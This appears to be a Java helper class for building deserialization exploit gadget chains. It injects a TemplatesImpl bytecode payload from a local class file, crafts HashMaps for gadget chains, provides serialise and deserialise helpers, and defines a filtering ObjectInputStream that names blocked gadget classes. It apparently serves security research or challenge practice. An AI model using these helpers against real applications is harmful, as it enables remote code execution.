content: package com.example;
  
  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  import sun.misc.Unsafe;
  
  import javax.management.BadAttributeValueExpException;
  import java.io.*;
  import java.lang.reflect.Array;
  import java.lang.reflect.Constructor;
  import java.lang.reflect.Field;
  import java.nio.file.Files;
  import java.nio.file.Paths;
  import java.util.ArrayList;
  import java.util.HashMap;
  import java.util.List;
  
  public class Tools {
      public static Object getObjectByUnsafe(Class clazz) throws Exception{
          Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
          theUnsafe.setAccessible(true);
          Unsafe unsafe = (Unsafe) theUnsafe.get(null);
          return unsafe.allocateInstance(clazz);
      }
  
      public static void setFieldValue(Object obj, String fieldName, Object value) throws IllegalAccessException {
          Class<?> aClass = obj.getClass();
          Field field = null;
          while (aClass != null) {
              try {
                  field = aClass.getDeclaredField(fieldName);
                  break;
              } catch (NoSuchFieldException e) {
                  aClass = aClass.getSuperclass();
              }
          }
          field.setAccessible(true);
          field.set(obj, value);
      }
  
      public static Object getFieldValue(Object obj, String fieldName){
          Class<?> aClass = obj.getClass();
          Field field = null;
          while (aClass != null) {
              try {
                  field = aClass.getDeclaredField(fieldName);
                  field.setAccessible(true);
                  return field.get(obj);
              } catch (NoSuchFieldException e) {
                  aClass = aClass.getSuperclass();
              } catch (IllegalAccessException e) {
                  throw new RuntimeException(e);
              }
          }
          return null;
      }
  
      public static TemplatesImpl getTemplatesImpl() throws IllegalAccessException, IOException {
          TemplatesImpl templatesImpl = new TemplatesImpl();
          setFieldValue(templatesImpl, "_class", null);
          setFieldValue(templatesImpl, "_name", "any");
          setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
          byte[] bytes = Files.readAllBytes(Paths.get("D://1tmp//classes//CalcAbs.class"));
          setFieldValue(templatesImpl, "_bytecodes", new byte[][] {bytes});
          return templatesImpl;
      }
  
      public static HashMap<Object, Object> makeMap (Object v1, Object v2 )
              throws Exception {
          HashMap<Object, Object> s = new HashMap<>();
          setFieldValue(s, "size", 2);
          Class<?> nodeC;
          try {
              nodeC = Class.forName("java.util.HashMap$Node");
          }
          catch ( ClassNotFoundException e ) {
              nodeC = Class.forName("java.util.HashMap$Entry");
          }
          Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class,
                  Object.class, Object.class, nodeC);
          nodeCons.setAccessible(true);
          Object tbl = Array.newInstance(nodeC, 2);
          Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
          Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
          setFieldValue(s, "table", tbl);
          return s;
      }
  
      public static byte[] ser(Object obj) throws Exception {
          ByteArrayOutputStream baos = new ByteArrayOutputStream();
          ObjectOutputStream oos = new ObjectOutputStream(baos);
          oos.writeObject(obj);
          oos.close();
          return baos.toByteArray();
      }
  
      public static Object deser(byte[] bytes) throws IOException, ClassNotFoundException {
          ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
          ObjectInputStream ois = new ObjectInputStream(bais);
          return ois.readObject();
      }
  
  
      public class MyObjectInputStream extends ObjectInputStream {
          private List<String> list;
  
          public MyObjectInputStream(InputStream inputStream) throws IOException {
              super(inputStream);
              this.list = new ArrayList();
              this.list.add(BadAttributeValueExpException.class.getName());
  //            this.list.add(ObjectBean.class.getName());
  //            this.list.add(ToStringBean.class.getName());
              this.list.add(TemplatesImpl.class.getName());
              this.list.add(Runtime.class.getName());
          }
  
          @Override // java.io.ObjectInputStream
          protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
              if (this.list.contains(desc.getName())) {
                  throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
              }
              return super.resolveClass(desc);
          }
      }
  }
  